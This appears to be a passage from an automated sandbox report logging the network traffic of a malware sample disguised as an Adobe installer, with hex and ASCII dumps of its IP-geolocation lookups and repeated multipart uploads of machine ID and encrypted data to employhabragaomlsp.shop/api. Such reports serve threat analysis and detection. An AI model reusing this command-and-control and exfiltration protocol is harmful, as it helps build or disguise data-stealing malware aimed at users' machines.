2024-05-24 11:42:45 UTC	1369	IN	Data Raw: 6d 73 62 51 70 6b 70 6d 6f 34 63 79 77 38 41 44 61 49 62 50 72 5a 6f 58 78 6e 69 67 59 54 6b 34 59 4f 7a 49 66 71 38 63 35 6e 4c 5a 7a 74 50 69 45 69 6d 6c 69 7a 6e 47 79 41 52 6d 6c 63 47 6a 32 6c 71 55 66 4c 34 70 5a 33 52 43 35 73 4e 7a 37 77 61 6a 5a 70 4c 45 32 61 4a 42 61 4f 58 50 63 38 76 65 52 44 6e 48 39 71 66 55 58 59 68 38 71 43 59 68 5a 77 44 79 69 33 33 6a 51 2f 41 72 6c 73 44 4e 70 55 39 68 72 49 45 39 78 63 38 44 5a 59 54 47 72 74 5a 57 6a 33 79 77 49 47 6c 33 54 65 76 41 63 75 55 43 70 6d 37 5a 68 35 2b 6c 55 69 6e 39 77 52 7a 50 77 77 39 67 78 65 43 73 33 56 58 47 59 50 59 34 49 58 39 43 71 35 4d 36 37 41 65 6d 59 70 62 4e 31 61 56 4b 62 71 4f 42 4f 38 66 4c 44 33 4f 43 79 61 2f 62 57 59 64 77 74 43 46 7a 66 55 44 67 78 6e 36 76 54 65 68 Data Ascii: msbQpkpmo4cyw8ADaIbPrZoXxnigYTk4YOzIfq8c5nLZztPiEimliznGyARmlcGj2lqUfL4pZ3RC5sNz7wajZpLE2aJBaOXPc8veRDnH9qfUXYh8qCYhZwDyi33jQ/ArlsDNpU9hrIE9xc8DZYTGrtZWj3ywIGl3TevAcuUCpm7Zh5+lUin9wRzPww9gxeCs3VXGYPY4IX9Cq5M67AemYpbN1aVKbqOBO8fLD3OCya/bWYdwtCFzfUDgxn6vTeh
2024-05-24 11:42:45 UTC	1369	IN	Data Raw: 65 4a 46 4b 66 32 34 63 34 53 47 4f 79 2f 48 33 2b 71 43 47 62 4e 38 74 69 39 6d 62 6c 2b 6d 36 47 7a 69 44 4b 4e 71 32 59 65 66 70 41 6f 78 39 63 39 7a 79 4e 64 45 4f 64 65 56 38 59 38 4b 30 53 2f 71 50 69 39 68 44 76 32 4c 49 72 31 4e 36 48 6e 5a 6b 5a 2f 6c 52 47 53 6b 67 6a 33 50 31 42 5a 6e 68 4e 47 70 6e 57 65 34 58 72 55 71 62 58 56 42 34 50 56 45 7a 67 36 6a 5a 35 54 47 31 4a 78 30 66 4b 61 50 50 63 76 51 46 53 48 4a 68 36 57 61 41 62 38 2f 38 47 46 65 4e 67 37 7a 69 79 4b 76 4e 71 74 6c 6c 38 37 4a 73 77 64 49 71 49 6f 2f 77 63 6b 50 49 63 6d 48 72 4a 6f 42 31 6a 48 34 4a 58 41 34 46 72 75 5a 49 62 70 51 2f 7a 76 4c 31 70 47 37 43 6e 2f 6c 32 57 47 43 68 68 59 68 33 34 66 74 32 55 75 55 65 62 73 33 59 6a 39 77 31 65 68 74 2b 51 6d 7a 4b 62 2f 4f Data Ascii: eJFKf24c4SGOy/H3+qCGbN8ti9mbl+m6GziDKNq2YefpAox9c9zyNdEOdeV8Y8K0S/qPi9hDv2LIr1N6HnZkZ/lRGSkgj3P1BZnhNGpnWe4XrUqbXVB4PVEzg6jZ5TG1Jx0fKaPPcvQFSHJh6WaAb8/8GFeNg7ziyKvNqtll87JswdIqIo/wckPIcmHrJoB1jH4JXA4FruZIbpQ/zvL1pG7Cn/l2WGChhYh34ft2UuUebs3Yj9w1eht+QmzKb/O
2024-05-24 11:42:45 UTC	1369	IN	Data Raw: 6e 74 77 51 79 43 68 68 77 68 33 34 65 66 32 56 65 49 65 4b 34 77 4c 46 31 5a 36 4e 74 38 37 45 50 6d 4b 35 2b 4a 68 2f 49 45 4b 61 47 51 63 35 53 57 56 6a 72 53 6c 50 32 4b 43 35 6b 78 6f 57 46 33 4f 42 61 35 68 54 72 39 51 2f 41 72 33 73 72 4e 73 45 78 71 73 34 4a 30 38 76 67 69 59 70 62 4e 69 39 64 4a 67 55 47 47 4e 47 4a 32 51 4f 7a 64 61 36 39 4e 36 47 54 5a 6b 65 62 69 41 69 57 6a 67 69 57 4d 2b 55 6f 68 6e 34 66 79 6d 6d 79 46 63 62 59 6d 64 32 6b 44 7a 63 68 72 35 53 4b 6c 65 35 36 4a 6b 65 4a 4d 4b 66 33 53 66 59 7a 43 46 53 48 66 6c 2f 69 42 44 4e 55 6f 36 48 4e 2b 4e 6c 65 72 33 54 71 33 55 65 59 72 69 34 6d 48 34 67 31 71 74 35 4d 31 7a 39 41 48 4a 72 6e 35 6e 39 6c 58 69 48 69 75 46 47 4a 70 54 65 76 41 52 4e 45 69 70 6d 43 65 78 63 6d 63 64 Data Ascii: ntwQyChhwh34ef2VeIeK4wLF1Z6Nt87EPmK5+Jh/IEKaGQc5SWVjrSlP2KC5kxoWF3OBa5hTr9Q/Ar3srNsExqs4J08vgiYpbNi9dJgUGGNGJ2QOzda69N6GTZkebiAiWjgiWM+Uohn4fymmyFcbYmd2kDzchr5SKle56JkeJMKf3SfYzCFSHfl/iBDNUo6HN+Nler3Tq3UeYri4mH4g1qt5M1z9AHJrn5n9lXiHiuFGJpTevARNEipmCexcmcd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49857	34.117.186.192	443	984	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:48 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:42:48 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:42:48 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 11:42:48 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 11:42:48 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49856	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:48 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: employhabragaomlsp.shop
2024-05-24 11:42:48 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:42:48 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-05-24 11:42:49 UTC	814	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=05m7es18nql2dstne2s26dclb8; expires=Tue, 17-Sep-2024 05:29:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pfP1XF48rad6lD591Qa63WkW9ooaG3hg86ZioeJT0kDFwyD%2FECmjO3E9W%2BsaTVTDVNhTeeU06rfOPgDarB2gNfEcxTlWBGL7agDaQowqEoI%2FyWMOZCzXfFfS2gGh9cqPdPX%2Bl7muaVDLKg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06434a160f46-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:49 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:42:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49858	104.26.4.15	443	984	C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:49 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 11:42:49 UTC	654	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:49 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9FA6:C49E_93878F2E:0050_66507D39_EF87A4B:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ERp88%2Bikqfa%2FPGsy7chIbdK9aIdIdX7ZBZcJe0AuAASwbzwEfMHbsFtVWBxZitLt%2FNxa6wChkpKwmIkgcPDKgi0HQXZRimsBEOdtK9tLHsBC4lRudFQcfOT4Jg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0646bbe842b9-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:49 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 11:42:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49867	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:54 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12407 Host: employhabragaomlsp.shop
2024-05-24 11:42:54 UTC	12407	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:42:55 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=upgk0jhk7tjffnifc3fu4hun3r; expires=Tue, 17-Sep-2024 05:29:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LPWT9pyv9bYZw001thWbzi%2Fs7TfEnEyKSrLSXU62xdQ99Z8qeePYhpd5XkX8oxkWvInwDOTg1zdxVg9KO0bX67xq%2Bh9vj7SS5pf0WOiJz2bWISfWouDPl0AuETIUWI9taQN%2FeNcFRjdzLQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d06694ee51829-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:42:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49869	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:56 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:42:56 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:42:56 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 11:42:56 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 11:42:56 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49872	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:56 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20432 Host: employhabragaomlsp.shop
2024-05-24 11:42:56 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 34 37 45 33 44 36 38 31 34 43 38 32 43 31 35 41 30 41 32 30 31 38 45 45 31 31 37 30 38 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8847E3D6814C82C15A0A2018EE11708B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-05-24 11:42:56 UTC	5101	OUT	Data Raw: 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-05-24 11:42:57 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rg5lfod6mpecaj6pum93bivj2f; expires=Tue, 17-Sep-2024 05:29:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8M1qBOnKZ2xtzYK%2FsDY%2BtcLiWx6R4%2F5H45kh%2BZwZGX1Q8GPHkyO66uk%2F00hpC4cZ7KSMkU2k5FOXerVCKBGAPo4leAbccnYBYTyg4aprMHM22p5I64CZmUc4clIWZBQuJ1x0GQha5cDuVA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0675cff64358-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 0d 0a Data Ascii: fok 8.46.123.175
2024-05-24 11:42:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49876	104.26.4.15	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:57 UTC	261	OUT	GET /demo/home.php?s=8.46.123.175 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-05-24 11:42:57 UTC	656	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:57 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9A36:EB4C_93878F2E:0050_66507D41_F03DE99:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wX5n0LBuh0VFRZgZmCm0wAgO2tm37HOsXb3hC8rVKQLkfBics%2BuCMn4f5EF7lonzo9ueFe%2F1x4Hg44GgpyeNQ%2Fw7eYNEu3QOXMBqyDUtRYBxvJL%2FEZgNlAAa0A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d0679bbde43af-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:57 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-05-24 11:42:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49878	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:57 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: employhabragaomlsp.shop
2024-05-24 11:42:57 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
